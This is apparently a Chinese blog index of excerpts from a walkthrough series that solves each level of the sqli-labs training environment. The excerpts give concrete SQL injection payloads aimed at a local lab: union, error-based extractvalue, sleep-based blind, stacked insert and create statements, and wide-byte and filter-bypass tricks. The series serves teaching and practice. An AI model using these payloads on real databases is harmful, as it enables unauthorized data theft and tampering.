摘要: MYSQL注入天书 在线版本:xianzhi.aliyun.com 第一篇地址:https://xianzhi.aliyun.com/forum/read/314.html第二篇地址:https://xianzhi.aliyun.com/forum/read/328.html第三篇地址:https: 阅读全文
posted @ 2016-08-11 23:16 lcamry 阅读(9555) 评论(6) 推荐(2)
摘要: 写在前面的一些内容 请允许我叨叨一顿: 最初看到sqli-labs也是好几年之前了,那时候玩了前面的几个关卡,就没有继续下去了。最近因某个需求想起了sqli-labs,所以翻出来玩了下。从每一关卡的娱乐中总结注入的方式,这就是娱中作乐,希望能保持更大的兴趣学下去。而很多的东西不用就忘记了,有些小的知识点更是这样,网上搜了一下相关资料,基本上同仁前辈写的博客中讲解基础关。脑门一热决定给后面的人留下点... 阅读全文
posted @ 2016-08-11 23:15 lcamry 阅读(3525) 评论(0) 推荐(2)
摘要: 《mysql注入天书》之 SQLI和sqli-labs介绍 SQLI,sql injection,我们称之为sql注入。何为sql,英文:Structured Query Language,叫做结构化查询语言。常见的结构化数据库有MySQL,MS SQL ,Oracle以及Postgresql。Sq 阅读全文
posted @ 2016-08-11 23:14 lcamry 阅读(42777) 评论(0) 推荐(1)
摘要: 第一部分/page-1 Basic Challenges Background-1 基础知识 此处介绍一些mysql注入的一些基础知识。 (1)注入的分类---仁者见仁,智者见智。 下面这个是阿德玛表哥的一段话,个人认为分类已经是够全面了。理解不了跳过,当你完全看完整个学习过程后再回头看这段。能完全理解下面的这些每个分类,对每个分类有属于你的认知和了解的时候,你就算是小有成就了,当然仅仅是sql... 阅读全文
posted @ 2016-08-11 23:12 lcamry 阅读(6309) 评论(0) 推荐(1)
摘要: Less-1 我们可以在http://127.0.0.1/sqllib/Less-5/?id=1后面直接添加一个 ' ,来看一下效果: 从上述错误当中,我们可以看到提交到sql中的1'在经过sql语句构造后形成 '1'' LIMIT 0,1,多加了一个 ' 。这种方式就是从错误信息中得到我们所需要的信息,那我们接下来想如何将多余的 ' 去掉呢? 尝试 'or 1=1--+ 此时构造的sql语... 阅读全文
posted @ 2016-08-11 23:10 lcamry 阅读(6563) 评论(0) 推荐(0)
摘要: Less-2 将'(单引号)添加到数字中。 我们又得到了一个Mysql返回的错误,提示我们语法错误。 YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear''LIMIT0,1... 阅读全文
posted @ 2016-08-11 23:07 lcamry 阅读(2058) 评论(0) 推荐(0)
摘要: Less-3 我们使用?id=' 注入代码后,我们得到像这样的一个错误: MySQLserverversionfortherightsyntaxtousenear"")LIMIT0,1′atline1 这里它意味着,开发者使用的查询是: Selectlogin_name,selectpasswordfromtablewhereid=('ouri... 阅读全文
posted @ 2016-08-11 23:05 lcamry 阅读(1601) 评论(1) 推荐(0)
摘要: Less-4 我们使用?id=1" 注入代码后,我们得到像这样的一个错误: 这里它意味着,代码当中对id参数进行了 "" 和 () 的包装。 所以我们再用这样的代码来进行注入: 这样一来,我们便可以得到用户名和密码了,同时后面查询也已经被注释掉了。 在源代码中的SQL查询语句,31行: 可以成功注入 阅读全文
posted @ 2016-08-11 23:04 lcamry 阅读(1322) 评论(0) 推荐(0)
摘要: Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。从background-1中,我们可以知道盲注分为三类 •基于布尔SQL盲注 •基于时间的SQL盲注 •基 阅读全文
posted @ 2016-08-11 23:03 lcamry 阅读(46777) 评论(4) 推荐(2)
摘要: Less-5 这里说一下,有很多的blog是翻译或者copy的,这关正确的思路是盲注。从源代码中可以看到,运行返回结果正确的时候只返回you are in....,不会返回数据库当中的信息了,所以我们不能利用上述less1-4的方法 我们从这这一关开始学习盲注。结合background-2的信息,将 阅读全文
posted @ 2016-08-11 23:00 lcamry 阅读(5675) 评论(1) 推荐(3)
摘要: Less-6 Less6与less5的区别在于less6在id参数传到服务器时,对id参数进行了处理。这里可以从源代码中可以看到。 $id = '"'.$id.'"'; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; 那我们在这一关的策略和less5的是一样的。只需要将 ' 替换成 " . 这里我们演示其中一个payload http:... 阅读全文
posted @ 2016-08-11 22:59 lcamry 阅读(1273) 评论(0) 推荐(0)
摘要: Background-3 导入导出相关操作的讲解 load_file()导出文件 Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。 使用条件: A、必须有权限读取并且文件必须完全可读 and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。 and ... 阅读全文
posted @ 2016-08-11 22:58 lcamry 阅读(2474) 评论(0) 推荐(0)
摘要: Less-7 本关的标题是dump into outfile,意思是本关我们利用文件导入的方式进行注入。而在background-3中我们已经学习了如何利用dump into file. 这里首先还是回到源代码中去。重点放在对id参数的处理和sql语句上,从源代码中可以看到$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; 这里对id参... 阅读全文
posted @ 2016-08-11 22:56 lcamry 阅读(2585) 评论(0) 推荐(0)
摘要: Less-8 经过简单的测试,我们发现 'or 1=1--+返回正常,那么我们就基本知道应该怎么使用了,参考less5.这里简单的进行一个示例: http://127.0.0.1/sqllib/Less-8/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+ 这里用的延时注入,当然了我们使用布尔类型的注入也是可以... 阅读全文
posted @ 2016-08-11 22:54 lcamry 阅读(1738) 评论(3) 推荐(0)
摘要: Less-9 本关我们从标题就可以看到 《基于时间-单引号》,所以很明显的这关要我们利用延时注入进行,同时id参数进行的是 ' 的处理。这里我们大致的将延时注入的方法演示一次。 这里用sleep()函数。 这里因为我们利用的是时间的延迟,贴图就没有意义了,这里只写payload了:(正确的时候直接返回,不正确的时候等待5秒钟,只贴正确的) 猜测数据库: http://127.0.0.1/sqlli... 阅读全文
posted @ 2016-08-11 22:53 lcamry 阅读(1911) 评论(0) 推荐(0)
摘要: Less-10 本关我们从标题就可以看到 《基于时间-双引号》,所以很明显的这关要我们利用延时注入进行,同时id参数进行的是 " 的处理。和less9的区别就在于单引号(')变成了("),我们这里给出一个payload示例,其他的请参考less-9 猜测数据库: http://127.0.0.1/s 阅读全文
posted @ 2016-08-11 22:52 lcamry 阅读(714) 评论(0) 推荐(0)
摘要: Less-11 从这一关开始我们开始进入到post注入的世界了,什么是post呢?就是数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次post的过程的。 例如我们在less11中我们输入正确的用户名和密码后, 阅读全文
posted @ 2016-08-11 22:49 lcamry 阅读(2446) 评论(0) 推荐(0)
摘要: Less-12 本关和less11是类似的,只是在id 的参数的处理上有一定的不同 当输入username:admin" Password: (随便) 报错后的结果为: You have an error in your SQL syntax; check the manual that corre 阅读全文
posted @ 2016-08-11 22:49 lcamry 阅读(787) 评论(2) 推荐(0)
摘要: Less-13 本关我们输入username:admin' Password: (随便输) 进行测试 可以看到报错了,错误为: You have an error in your SQL syntax; check the manual that corresponds to your MySQL 阅读全文
posted @ 2016-08-11 22:48 lcamry 阅读(1091) 评论(0) 推荐(0)
摘要: Less-14 本关我们直接进行测试,输入username:admin" Pasword:(随意) 可以看到报错了,那么我们知道了id进行了 " 的操作。 这里和less13一样,主要是熟悉利用盲注。 简单列一下payload: uname=admin"and left(database(),1)>'a'#&passwd=1&submit=S... 阅读全文
posted @ 2016-08-11 22:46 lcamry 阅读(940) 评论(0) 推荐(1)
摘要: Less-15 本关没有错误提示,那么我们只能靠猜测进行注入。这里我直接从源代码中看到了sql语句 @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; 那这里对id进行 ' id' 的处理。 本关我们利用延时注入进行。 猜测数据库名第一位: un... 阅读全文
posted @ 2016-08-11 22:44 lcamry 阅读(1397) 评论(0) 推荐(1)
摘要: Less-16 本关我们的处理方法和less15是一样的,同样的使用延时注入的方法进行解决。这里直接从源代码中看到对id进行 ("id")的处理。(请自行测试) 提交的payload: uname=admin")and If(ascii(substr(database(),1,1))=115,1,s 阅读全文
posted @ 2016-08-11 22:44 lcamry 阅读(683) 评论(0) 推荐(0)
摘要: Background-4 增删改函数介绍 在对数据进行处理上,我们经常用到的是增删查改。接下来我们讲解一下mysql 的增删改。查就是我们上述总用到的select,这里就介绍了。 增加一行数据。Insert 简单举例 insert into users values('16','lcamry','lcamry'); 删除  2.删数据: deletefrom表... 阅读全文
posted @ 2016-08-11 22:43 lcamry 阅读(892) 评论(0) 推荐(0)
摘要: Less-17 本关我们可以看到是一个修改密码的过程,利用的是update语句,与在用select时是一样的,我们仅需要将原先的闭合,构造自己的payload。 尝试报错 Username:admin Password:1' You have an error in your SQL syntax; 阅读全文
posted @ 2016-08-11 22:41 lcamry 阅读(1587) 评论(0) 推荐(0)
摘要: Background-5 HTTP头部介绍 在利用抓包工具进行抓包的时候,我们能看到很多的项,下面详细讲解每一项。 HTTP头部详解 1、 Accept:告诉WEB服务器自己接受什么介质类型,*/* 表示任何类型,type/* 表示该类型下的所有子类型,type/sub-type。 2、 Accep 阅读全文
posted @ 2016-08-11 22:41 lcamry 阅读(1616) 评论(0) 推荐(0)
摘要: Less-18 本关我们这里从源代码直接了解到 对uname和passwd进行了check_input()函数的处理,所以我们在输入uname和passwd上进行注入是不行的,但是在代码中,我们看到了insert() $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$... 阅读全文
posted @ 2016-08-11 22:39 lcamry 阅读(1710) 评论(1) 推荐(0)
摘要: Less-19 从源代码中我们可以看到我们获取到的是HTTP_REFERER 那和less18是基本一致的,我们从referer进行修改。 还是像less18一样,我们只给出一个示例 将referer修改为'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and '1'='1 可以看到mysql的路径了。 请发散思维思考其他的呦... 阅读全文
posted @ 2016-08-11 22:38 lcamry 阅读(1115) 评论(0) 推荐(0)
摘要: Less-20 从源代码中我们可以看到cookie从username中获得值后,当再次刷新时,会从cookie中读取username,然后进行查询。 登录成功后,我们修改cookie,再次刷新时,这时候sql语句就会被修改了。 我们使用temper data进行演示。 如上图所示,我们修改cooki 阅读全文
posted @ 2016-08-11 22:38 lcamry 阅读(921) 评论(0) 推荐(0)
摘要: Less-21 本关对cookie进行了base64的处理,其他的处理流程和less20是一样的。 我们这里可以利用less20同样的方法,但是需要将payload进行base64编码处理(注意这里对uname进行了 ('uname')的处理) Cookie: uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjd... 阅读全文
posted @ 2016-08-11 22:36 lcamry 阅读(827) 评论(0) 推荐(0)
摘要: Less-22 本关和less20、less21是一致的,我们可以从源代码中看到这里对uname进行了"uname"的处理,可以构造payload: admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))# Payload进行 阅读全文
posted @ 2016-08-11 22:36 lcamry 阅读(462) 评论(0) 推荐(0)
摘要: 第二部分/page-2 Advanced injection Less-23 Sql语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";此处主要是在获取id参数时进行了#,--注释符号的过滤。 Solution: http://127.0.0 阅读全文
posted @ 2016-08-11 22:34 lcamry 阅读(1545) 评论(0) 推荐(0)
摘要: Less-24 Ps:本关可能会有朋友和我遇到一样的问题,登录成功以后没有修改密码的相关操作。此时造成问题的主要原因是logged-in.php文件不正确。可重新下载解压,解压过程中要主要要覆盖。 本关为二次排序注入的示范例。二次排序注入也成为存储型的注入,就是将可能导致sql注入的字符先存入到数据 阅读全文
posted @ 2016-08-11 22:33 lcamry 阅读(2071) 评论(0) 推荐(0)
摘要: Less-25 本关主要为or and过滤,如何绕过or和and过滤。一般性提供以下几种思路: 大小写变形 Or,OR,oR 编码,hex,urlencode 添加注释/*or*/ 利用符号 and=&& or=|| 暂时只想到这些,还有的话可以补充。 本关利用方法(4)进行。 报错注入 or示例 阅读全文
posted @ 2016-08-11 22:31 lcamry 阅读(983) 评论(0) 推荐(0)
摘要: Less-25a 不同于25关的是sql语句中对于id,没有''的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。此处采取两种方式:延时注入和联合注入。 http://127.0.0.1/sqllib/Less-25a/?id=-1%20UNION%20select%201, 阅读全文
posted @ 2016-08-11 22:31 lcamry 阅读(725) 评论(0) 推荐(0)
摘要: Less-26 TIPS:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,这里请更换到linux平台下。 本关结合25关,将空格,or,and,/*,#,--,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考25.此处我们需要说明两 阅读全文
posted @ 2016-08-11 22:28 lcamry 阅读(2140) 评论(0) 推荐(0)
摘要: Less-26a 这关与26的区别在于,sql语句添加了一个括号,同时在sql语句执行抛出错误后并不在前台页面输出。所有我们排除报错注入,这里依旧是利用union注入。 sql语句为SELECT * FROM users WHERE id=('$id') LIMIT 0,1 我们构造payload: 阅读全文
posted @ 2016-08-11 22:28 lcamry 阅读(801) 评论(0) 推荐(0)
摘要: Less-27 本关主要考察将union,select和26关过滤掉的字符。此处我们依旧和26关的方式是一样的,只需要将union和select改为大小写混合就可以突破。 示例:127.0.0.1/sqllib/Less-27/?id=100'unIon%a0SelEcT%a01,database( 阅读全文
posted @ 2016-08-11 22:28 lcamry 阅读(760) 评论(0) 推荐(0)
摘要: Less-27a 本关与27关的区别在于对于id的处理,这里用的是 " ,同时mysql的错误不会在前端页面显示。 我们根据27关直接给出一个示例payload: http://127.0.0.1/sqllib/Less-27a/?id=100"%a0UnIon%a0SElecT%a01,user( 阅读全文
posted @ 2016-08-11 22:26 lcamry 阅读(746) 评论(0) 推荐(0)
摘要: Less-28 本关考察内容与27关没有太大的差距,我们直接给出一个payload: http://127.0.0.1/sqllib/Less-28/?id=100')union%a0select(1),(user()),(3)||('1 阅读全文
posted @ 2016-08-11 22:25 lcamry 阅读(993) 评论(0) 推荐(1)
摘要: Less-28a 本关与28基本一致,只是过滤条件少了几个。 http://127.0.0.1/sqllib/Less-28a/?id=100%27)unIon%0bsElect%0b1,@@basedir,3||(%271 阅读全文
posted @ 2016-08-11 22:24 lcamry 阅读(605) 评论(0) 推荐(0)
摘要: Background-6 服务器(两层)架构 首先介绍一下29,30,31这三关的基本情况: 服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat 阅读全文
posted @ 2016-08-11 22:22 lcamry 阅读(1889) 评论(0) 推荐(0)
摘要: Less-29 首先先看下tomcat中的index.jsp文件 在apache的index.php中,sql语句为 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 因此我们根据HPP的原理,我们直接payload: http://127.0 阅读全文
posted @ 2016-08-11 22:20 lcamry 阅读(1149) 评论(0) 推荐(0)
摘要: Less-30 Less-30与less-29原理是一致的,我们可以看到less-30的sql语句为: 所以payload为: http://127.0.0.1:8080/sqli-labs/Less-30/index.jsp?id=1&id=-2"union%20select%201,user() 阅读全文
posted @ 2016-08-11 22:19 lcamry 阅读(617) 评论(0) 推荐(0)
摘要: Less-31 Less-31与上述两个例子的方式是一样的,我们直接看到less-31的sql语句: 所以payload为: http://127.0.0.1:8080/sqli-labs/Less-31/index.jsp?id=1&id=-2%22)union%20select%201,user 阅读全文
posted @ 2016-08-11 22:19 lcamry 阅读(506) 评论(0) 推荐(0)
摘要: Background-7 宽字节注入 Less-32,33,34,35,36,37六关全部是针对'和\的过滤,所以我们放在一起来进行讨论。 对宽字节注入的同学应该对这几关的bypass方式应该比较了解。我们在此介绍一下宽字节注入的原理和基本用法。 原理:mysql在使用GBK编码的时候,会认为两个字 阅读全文
posted @ 2016-08-11 22:17 lcamry 阅读(1516) 评论(0) 推荐(0)
摘要: Less-32 利用上述的原理,我们可以进行尝试payload为: http://127.0.0.1/sqli-labs/Less-32/?id=-1%df%27union%20select%201,user(),3--+ 可以看到,我们绕过了对于 ' 的过滤。接下来从源代码进行考虑: 上述函数为过 阅读全文
posted @ 2016-08-11 22:16 lcamry 阅读(1329) 评论(0) 推荐(0)
摘要: Less-33 本关和上一关的payload是一样的 http://127.0.0.1/sqli-labs/Less-33/?id=-1%df%27union%20select%201,user(),3--+ 从源代码中可以看到: 此处过滤使用函数addslashes() addslashes() 阅读全文
posted @ 2016-08-11 22:15 lcamry 阅读(769) 评论(0) 推荐(0)
摘要: Less-34 本关是post型的注入漏洞,同样的也是将post过来的内容进行了 ' \ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而get型的方式我们是以url形式提交的,因此数据会通过URLencode,如何将方法用在post型的注入当中,我们此处介绍一个新的方法。 阅读全文
posted @ 2016-08-11 22:14 lcamry 阅读(1399) 评论(0) 推荐(0)
摘要: Less-35 35关和33关是大致的一样的,唯一的区别在于sql语句的不同。 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; 区别就是id没有被' "符号包括起来,那我们就没有必要去考虑check_addslashes()函数的意义了,直接提交 阅读全文
posted @ 2016-08-11 22:13 lcamry 阅读(648) 评论(0) 推荐(0)
摘要: Less-36 我们直接看到36关的源代码 上面的check_quotes()函数是利用了mysql_real_escape_string()函数进行的过滤。 mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 下列字符受影响: \x00 \n 阅读全文
posted @ 2016-08-11 22:12 lcamry 阅读(911) 评论(1) 推荐(0)
摘要: Less-37 本关与34关是大致相似的,区别在于处理post内容用的是mysql_real_escape_string()函数,而不是addslashes()函数,但是原理是一直的,上面我们已经分析过原理了,这里就不进行赘述了。 我们依旧利用万能密码的思路进行突破。 提交内容为下图所示: 可以看见 阅读全文
posted @ 2016-08-11 22:11 lcamry 阅读(718) 评论(0) 推荐(0)
摘要: 第三部分/page-3 Stacked injection Background-8 stacked injection Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每 阅读全文
posted @ 2016-08-11 22:06 lcamry 阅读(2389) 评论(0) 推荐(0)
摘要: Less-38 学习了关于stacked injection的相关知识,我们在本关可以得到直接的运用。 在执行select时的sql语句为:SELECT * FROM users WHERE id='$id' LIMIT 0,1 可以直接构造如下的payload: http://127.0.0.1/ 阅读全文
posted @ 2016-08-11 22:00 lcamry 阅读(1046) 评论(0) 推荐(0)
摘要: Less-39 和less-38的区别在于sql语句的不一样:SELECT * FROM users WHERE id=$id LIMIT 0,1 也就是数字型注入,我们可以构造以下的payload: http://127.0.0.1/sqli-labs/Less-39/index.php?id=1 阅读全文
posted @ 2016-08-11 21:58 lcamry 阅读(595) 评论(0) 推荐(0)
摘要: Less-40 本关的sql语句为SELECT * FROM users WHERE id=('$id') LIMIT 0,1 我们根据sql语句构造以下的payload: http://127.0.0.1/sqli-labs/Less-40/index.php?id=1%27);%20insert 阅读全文
posted @ 2016-08-11 21:57 lcamry 阅读(562) 评论(0) 推荐(0)
摘要: Less-41 此处与less-39是一致的,区别在于41错误不回显。所以我们称之为盲注。 Payload: http://192.168.11.189/sqli-labs/Less-41/index.php?id=1;%20insert%20into%20users(id,username,pas 阅读全文
posted @ 2016-08-11 21:56 lcamry 阅读(511) 评论(0) 推荐(0)
摘要: Less-42 Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。 本关从login.php源代码中分析可知: Pass 阅读全文
posted @ 2016-08-11 21:53 lcamry 阅读(1061) 评论(0) 推荐(0)
摘要: Less-43 本关与42关的原理基本一致,我们还是定位在login.php中的password。看一下sql语句为: $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')"; 登录:u 阅读全文
posted @ 2016-08-11 21:52 lcamry 阅读(526) 评论(0) 推荐(0)
摘要: Less-44 本关是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与42关的区别就在于没有报错信息,同时,我们使用同样方式的payload: 登录 username:admin Password:a';insert into users(id,username,password) 阅读全文
posted @ 2016-08-11 21:51 lcamry 阅读(700) 评论(0) 推荐(0)
摘要: Less-45 同样的,45关与43关的payload是一样的,只不过45关依旧没有报错信息。 登录 username:admin Password:c');create table less45 like users# 创建less45的数据表,可从下图看到。 阅读全文
posted @ 2016-08-11 21:49 lcamry 阅读(505) 评论(0) 推荐(0)
摘要: Background-9 order by后的injection 此处应介绍order by后的注入以及limit注入,我们结合less-46更容易讲解,(在less46中详细讲解)所以此处可根据less-46了解即可。 http://www.cnblogs.com/lcamry/p/5762710 阅读全文
posted @ 2016-08-11 21:48 lcamry 阅读(3238) 评论(0) 推荐(0)
摘要: Less-46 从本关开始,我们开始学习order by 相关注入的知识。 本关的sql语句为$sql = "SELECT * FROM users ORDER BY $id"; 尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列) 从上述的sql语句中我们可以 阅读全文
posted @ 2016-08-11 21:42 lcamry 阅读(3657) 评论(0) 推荐(0)
摘要: Less-47 本关的sql语句为 $sql = "SELECT * FROM users ORDER BY '$id'"; 将id变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。 、order by后的参数 我们只能使用and来进行报错和延时注入。我们下面给出几个paylo 阅读全文
posted @ 2016-08-11 21:41 lcamry 阅读(991) 评论(0) 推荐(0)
摘要: Less-48 本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。 可以利用sort=rand(true/false)进行判断。 http://127.0.0.1/sqli-labs/Less-48/?sort=rand(ascii(left(dat 阅读全文
posted @ 2016-08-11 21:41 lcamry 阅读(821) 评论(0) 推荐(0)
摘要: Less-49 本关与47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入和导入文件进行注入。 利用延时注入 http://127.0.0.1/sqli-labs/Less-49/?sort=1%27%20and%20(If(ascii(substr((select%20username% 阅读全文
posted @ 2016-08-11 21:38 lcamry 阅读(640) 评论(0) 推荐(0)
摘要: Less-50 从本关开始我们开始进行order by stacked injection! 执行sql语句我们这里使用的是mysqli_multi_query()函数,而之前我们使用的是mysqli_query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysq 阅读全文
posted @ 2016-08-11 21:37 lcamry 阅读(643) 评论(0) 推荐(0)
摘要: Less-51 本关的sql语句为 $sql="SELECT * FROM users ORDER BY '$id'"; 我们此处要进行stacked injection,要注释掉',此处给出payload: http://127.0.0.1/sqli-labs/Less-51/index.php? 阅读全文
posted @ 2016-08-11 21:36 lcamry 阅读(491) 评论(0) 推荐(0)
摘要: Less-52 和less50是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式 http://127.0.0.1/sqli-labs/Less-52/index.php?sort=1;create%20table%20less52%20li 阅读全文
posted @ 2016-08-11 21:34 lcamry 阅读(478) 评论(0) 推荐(0)
摘要: Less-53 和less51是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式 http://127.0.0.1/sqli-labs/Less-53/index.php?sort=1%27;create%20table%20less53%2 阅读全文
posted @ 2016-08-11 21:33 lcamry 阅读(442) 评论(0) 推荐(0)
摘要: 第四部分/page-4 Challenges Less-54 此系列主要是一个进阶的学习,将前面学到的知识进行更深次的运用。这一关我们主要考察的依旧是字符型注入,但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。 因为已经知道了数据 阅读全文
posted @ 2016-08-11 21:30 lcamry 阅读(754) 评论(0) 推荐(0)
摘要: Less-55 本关的sql语句为: $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1"; 其余和less54是一样的,所以我们将上述的语句前添加 ) 即可,但是这里要求次数为14次。 示例payload: http://127. 阅读全文
posted @ 2016-08-11 21:29 lcamry 阅读(629) 评论(0) 推荐(0)
摘要: Less-56 与less54.55形式是一致的,我们关注sql语句, $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1"; 因此给出示例payload http://127.0.0.1/sqli-labs/Less-56/i 阅读全文
posted @ 2016-08-11 21:28 lcamry 阅读(509) 评论(0) 推荐(0)
摘要: Less-57 从代码中看到对id进行了 " " 的处理,所以此处我们构造的payload要进行 "" 的处理,示例payload: http://127.0.0.1/sqli-labs/Less-57/index.php?id=-1"union select 1,2,group_concat(ta 阅读全文
posted @ 2016-08-11 21:26 lcamry 阅读(424) 评论(0) 推荐(0)
摘要: Less-58 执行sql语句后,并没有返回数据库当中的数据,所以我们这里不能使用union联合注入,这里使用报错注入。 Payload:http://127.0.0.1/sqli-labs/Less-58/?id=-1'union select extractvalue(1,concat(0x7e 阅读全文
posted @ 2016-08-11 21:25 lcamry 阅读(581) 评论(0) 推荐(0)
摘要: Less-59 与less58一致,直接给出一个示例payload: http://127.0.0.1/sqli-labs/Less-59/?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) 阅读全文
posted @ 2016-08-11 21:24 lcamry 阅读(418) 评论(0) 推荐(0)
摘要: Less-60 与上述一致,同样给出一个示例payload: http://127.0.0.1/sqli-labs/Less-60/?id=-1")union select extractvalue(1,concat(0x7e,(select group_concat(table_name) fro 阅读全文
posted @ 2016-08-11 21:20 lcamry 阅读(418) 评论(0) 推荐(0)
摘要: Less-61 此处对于id处理还是有点奇葩的,第一次遇到利用两层括号的。(可能我头发比较长,见识短了)。形式和上述是一样的 payload: http://127.0.0.1/sqli-labs/Less-61/?id=-1'))union select extractvalue(1,concat 阅读全文
posted @ 2016-08-11 21:16 lcamry 阅读(393) 评论(0) 推荐(0)
摘要: 此处union和报错注入都已经失效了,那我们就要使用延时注入了,此处给出一个示例 payload: http://127.0.0.1/sqli-labs/Less-62/?id=1%27)and%20If(ascii(substr((select%20group_concat(table_name) 阅读全文
posted @ 2016-08-11 21:15 lcamry 阅读(546) 评论(0) 推荐(0)
摘要: Less-63 和less62一致,我们只需要看到sql语句上 因此构造payload: 当正确的时候时间很短,当错误的时候时间大于10秒 阅读全文
posted @ 2016-08-11 18:11 lcamry 阅读(559) 评论(0) 推荐(0)
摘要: Less-64 此处的sql语句为 $sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1"; 示例payload: http://127.0.0.1/sqli-labs/Less-64/?id=1))and%20If(ascii( 阅读全文
posted @ 2016-08-11 18:09 lcamry 阅读(438) 评论(0) 推荐(0)
摘要: Less-65 此处对id进行了 “” () 的处理,构造payload时应该注意。这里给出示例payload: http://127.0.0.1/sqli-labs/Less-65/?id=1%22)and%20If(ascii(substr((select%20group_concat(tabl 阅读全文
posted @ 2016-08-11 18:04 lcamry 阅读(626) 评论(0) 推荐(0)
摘要: 后记 对于工具的看法: 我之所以在每个例子中只写了几个示例,是因为我希望你能通过这一两个示例举一反三将其他的列出来。如果让我来完成每一次完整的注入,应该在知道原理的情况下,必然使用工具或者自己写代码实现自动化。为什么不拿着工具直接上,想必大多数的人开始的时候都是使用别人的工具,其实这种习惯已经侵蚀着 阅读全文
posted @ 2016-08-11 18:03 lcamry 阅读(901) 评论(0) 推荐(0)
摘要: 一、使用命令设置Ubuntu IP地址 1.修改配置文件blacklist.conf禁用IPV6 sudo vi /etc/modprobe.d/blacklist.conf 表示用vi编辑器(也可以用其他编辑器,如gedit)编辑etc文件夹下modprobe.d文件夹中blacklist.con 阅读全文
posted @ 2016-08-11 17:33 lcamry 阅读(1740) 评论(0) 推荐(0)
摘要: 本地安装xssing 环境为apache+mysql+php,linux下和Windows均进行了尝试。 步骤: (1)Mysql中创建xing数据库,将xssing.sql中的语句复制并在xing数据库下执行sql语句,可以看到xing数据库中已经有很多的表了。 (2)在config/mysql. 阅读全文
posted @ 2016-08-11 11:56 lcamry 阅读(362) 评论(0) 推荐(0)